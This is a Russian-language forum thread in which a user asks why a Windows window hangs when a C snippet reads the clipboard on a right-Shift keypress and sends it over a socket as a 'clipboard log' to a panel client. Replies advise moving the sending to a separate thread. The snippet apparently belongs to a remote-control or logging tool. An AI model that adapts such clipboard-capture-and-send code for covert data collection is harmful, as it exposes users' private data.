• XSS.stack #1 – первый литературный журнал от юзеров форума

[C] нужно сделать чтобы окно не зависало при прочтении буфера обмена из цикла

sosaaaa1337

RAID-массив
Пользователь
Регистрация
18.07.2021
Сообщения
73
Реакции
10
Депозит
0.02
забиндил в цикле обработки сообщений где GetMessageW/TranslateMessage/DispatchMessage правый шифт на получение буфера обмена и отправку клиенту из панели, но при первом нажатии шифта окно зависает секунд на 10. дело не в отправке по сокетам по любому, остальные сообщения так проходят без зависаний. помогите оптимизировать код, пожалуйста)
C:
if (message.message == WM_KEYDOWN) {
    if ((message.wParam == VK_SHIFT) && (GetKeyState(VK_RSHIFT) < 0)) {
        if (IsClipboardFormatAvailable(CF_UNICODETEXT)) {
            if (OpenClipboard(0)) {
                clipboarddata = (WCHAR*)GetClipboardData(CF_UNICODETEXT);
                if (clipboarddata) {
                    if (clipboarddata[0]) {
                        len = wcslen(clipboarddata);
                        if (len <= 512) {
                            message.message = WM_COMMAND;
                            message.wParam = S_GET_CLIPBOARDLOG;
                            message.lParam = len;
                            if (!Send(s, (char*)&message, sizeof(message))) {
                                DestroyWindow(hwnd);
                            }
                            if (!Send(s, (char*)clipboarddata, len * 2)) {
                                DestroyWindow(hwnd);
                            }
                        }
                    }
                }
                CloseClipboard();
            }
        }
        break;
    }
}
 
забиндил в цикле обработки сообщений где GetMessageW/TranslateMessage/DispatchMessage правый шифт на получение буфера обмена и отправку клиенту из панели, но при первом нажатии шифта окно зависает секунд на 10. дело не в отправке по сокетам по любому, остальные сообщения так проходят без зависаний. помогите оптимизировать код, пожалуйста)
C:
if (message.message == WM_KEYDOWN) {
    if ((message.wParam == VK_SHIFT) && (GetKeyState(VK_RSHIFT) < 0)) {
        if (IsClipboardFormatAvailable(CF_UNICODETEXT)) {
            if (OpenClipboard(0)) {
                clipboarddata = (WCHAR*)GetClipboardData(CF_UNICODETEXT);
                if (clipboarddata) {
                    if (clipboarddata[0]) {
                        len = wcslen(clipboarddata);
                        if (len <= 512) {
                            message.message = WM_COMMAND;
                            message.wParam = S_GET_CLIPBOARDLOG;
                            message.lParam = len;
                            if (!Send(s, (char*)&message, sizeof(message))) {
                                DestroyWindow(hwnd);
                            }
                            if (!Send(s, (char*)clipboarddata, len * 2)) {
                                DestroyWindow(hwnd);
                            }
                        }
                    }
                }
                CloseClipboard();
            }
        }
        break;
    }
}[/CO
[/QUOTE]
вот это деревце :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Попробуйте сократить вложенные условия if'ы проверкой одним блоком, в том числе где send'ы, чтобы одним блоком данные отправлять. len*2 вроде можно чем-то другим заменить чтобы оптимизировать. Можно еще посмотреть где-то вместо копирования переменных напрямую указатели использовать побольше.
 
Send функция блочит скорей всего поток При не удачном Send возможно блочит и DestroyWindow(hwnd);
Решение сделай отправку в отдельном потоке передовая в поток HWND и параметры для send .
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В цикле обработки оконных сообщений должна быть только обработка оконных сообщений, любой io или cpu-bound код должен быть в отдельном потоке, иначе окно будет виснуть, не имея возможности вовремя обрабатывать сообщения в собственной очереди. Что там и где долго обрабатывается - это уже дело десятое, запусти отладчик или принтов натыкай.
 
57.jpg
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх